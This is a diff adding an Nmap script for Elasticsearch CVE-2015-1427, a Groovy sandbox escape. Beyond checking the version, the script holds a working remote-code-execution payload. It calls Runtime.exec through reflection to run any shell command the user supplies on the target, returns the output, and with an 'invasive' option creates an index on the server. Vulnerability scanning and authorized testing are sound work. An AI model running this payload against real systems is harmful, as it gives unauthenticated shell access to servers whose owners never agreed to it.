diff options
Diffstat (limited to 'scripts/http-vuln-cve2015-1427.nse')
-rw-r--r-- | scripts/http-vuln-cve2015-1427.nse | 210 |
1 files changed, 210 insertions, 0 deletions
diff --git a/scripts/http-vuln-cve2015-1427.nse b/scripts/http-vuln-cve2015-1427.nse new file mode 100644 index 0000000..342df6f --- /dev/null +++ b/scripts/http-vuln-cve2015-1427.nse @@ -0,0 +1,210 @@ +local http = require "http" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local vulns = require "vulns" +local json = require "json" +local nmap = require "nmap" +local rand = require "rand" + +description = [[ +This script attempts to detect a vulnerability, CVE-2015-1427, which allows attackers + to leverage features of this API to gain unauthenticated remote code execution (RCE). + + Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine. + The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell + commands as the user running the Elasticsearch Java VM. + ]] + +--- +-- @args command Enter the shell comannd to be executed. The script outputs the Java +-- and Elasticsearch versions by default. +-- @args invasive If set to true then it creates an index if there are no indices. +-- +-- @usage +-- nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets> +-- +--@output +-- | http-vuln-cve2015-1427: +-- | VULNERABLE: +-- | ElasticSearch CVE-2015-1427 RCE Exploit +-- | State: VULNERABLE (Exploitable) +-- | IDs: CVE:CVE-2015-1427 +-- | Risk factor: High CVSS2: 7.5 +-- | The vulnerability allows an attacker to construct Groovy +-- | scripts that escape the sandbox and execute shell commands as the user +-- | running the Elasticsearch Java VM. +-- | Exploit results: +-- | ElasticSearch version: 1.3.7 +-- | Java version: 1.8.0_45 +-- | References: +-- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html +-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/ +-- | https://github.com/elastic/elasticsearch/issues/9655 +-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427 + +author = {"Gyanendra Mishra", "Daniel Miller"} + +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" + +categories = {"vuln", "intrusive"} + +portrule = shortport.port_or_service(9200, "http", "tcp") + + +local function parseResult(parsed) + -- for commands that return printable results + if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then + return parsed.hits.hits[1].fields.exploit[1] + end + -- mkdir(etc) command seems to work but as it returns no result + if parsed.hits.total > 0 then + return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability." + end + return false +end + +action = function(host, port) + + local command = stdnse.get_script_args(SCRIPT_NAME .. ".command") + local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive") + + local payload = { + size= 1, + query= { + match_all= {} + }, + script_fields= { + exploit= { + lang= "groovy", + -- This proves vulnerability because the fix was to prevent access to + -- .class and .forName + script= '"ElasticSearch version: "+\z + java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z + "\\n Java version: "+\z + java.lang.Math.class.forName("java.lang.System").getProperty("java.version")' + } + } + } + if command then + payload.script_fields.exploit.script = string.format( + 'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z + java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z + java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z + %s).getInputStream()).useDelimiter("highlyunusualstring").next()', + json.generate(command)) + end + + local json_payload = json.generate(payload) + + local vuln_table = { + title = "ElasticSearch CVE-2015-1427 RCE Exploit", + state = vulns.STATE.NOT_VULN, + risk_factor = "High", + references = { + 'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html', + 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/', + 'https://github.com/elastic/elasticsearch/issues/9655' + }, + IDS = { + CVE = 'CVE-2015-1427' + }, + scores = { + CVSS2 = '7.5' + }, + description = [[The vulnerability allows an attacker to construct Groovy + scripts that escape the sandbox and execute shell commands as the user + running the Elasticsearch Java VM.]] + } + + local report = vulns.Report:new(SCRIPT_NAME, host, port) + + local cleanup = function() return end + local nocache = {no_cache=true, bypass_cache=true} + --lets check the elastic search version. + local response = http.get(host, port, '/') + if response.status == 200 and response.body then + local status, parsed = json.parse(response.body) + if not(status) then + stdnse.debug1('Parsing JSON failed(version checking). Probably not running Elasticsearch') + return nil + else + if parsed.version.number then + --check if a vulnerable version is running + if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then + vuln_table.state = vulns.STATE.LIKELY_VULN + end + --help the version/service detection. + port.version = { + name = 'elasticsearch', + name_confidence = 10, + product = 'Elastic elasticsearch', + version = tostring(parsed.version.number), + service_tunnel = 'none', + cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)} + } + nmap.set_port_version(host,port,'hardmatched') + else + stdnse.debug1('Cant Be Elastic search as no version number present.') + return nil + end + end + else + stdnse.debug1('Not Running Elastic Search.') + return nil + end + + -- check if it is indexed, if not create index + response = http.get(host,port,'_cat/indices', nocache) + if response.status ~= 200 then + stdnse.debug1( "Couldnt fetch indices.") + return report:make_output(vuln_table) + elseif response.body == '' then + if invasive then + local rand = rand.random_alpha(8) + cleanup = function() + local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand)) + if r.status ~= 200 or not r.body:match('"acknowledged":true') then + stdnse.debug1( "Could not delete index created by invasive script-arg") + end + end + local data = { [rand] = rand } + stdnse.debug1("Creating Index. 5 seconds wait.") + response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data)) + if not(response.status == 201) then + stdnse.debug1( "Didnt have any index. Creating index failed.") + return report:make_output(vuln_table) + end + stdnse.sleep(5) -- search will not return results immediately + else + stdnse.debug1("Not Indexed. Try the invasive option ;)") + return report:make_output(vuln_table) + end + end + + --execute the command + + local target = '_search' + response = http.post(host, port, target ,nil ,nil ,(json_payload)) + + if not(response.body) or not(response.status==200) then + cleanup() + return report:make_output(vuln_table) + else + local status,parsed = json.parse(response.body) + if ( not(status) ) then + stdnse.debug1("JSON not parsable.") + cleanup() + return report:make_output(vuln_table) + end + --if the parseResult function returns something then lets go ahead + local results = parseResult(parsed) + if results then + vuln_table.state = vulns.STATE.EXPLOIT + vuln_table.exploit_results = results + end + end + + cleanup() + return report:make_output(vuln_table) +end |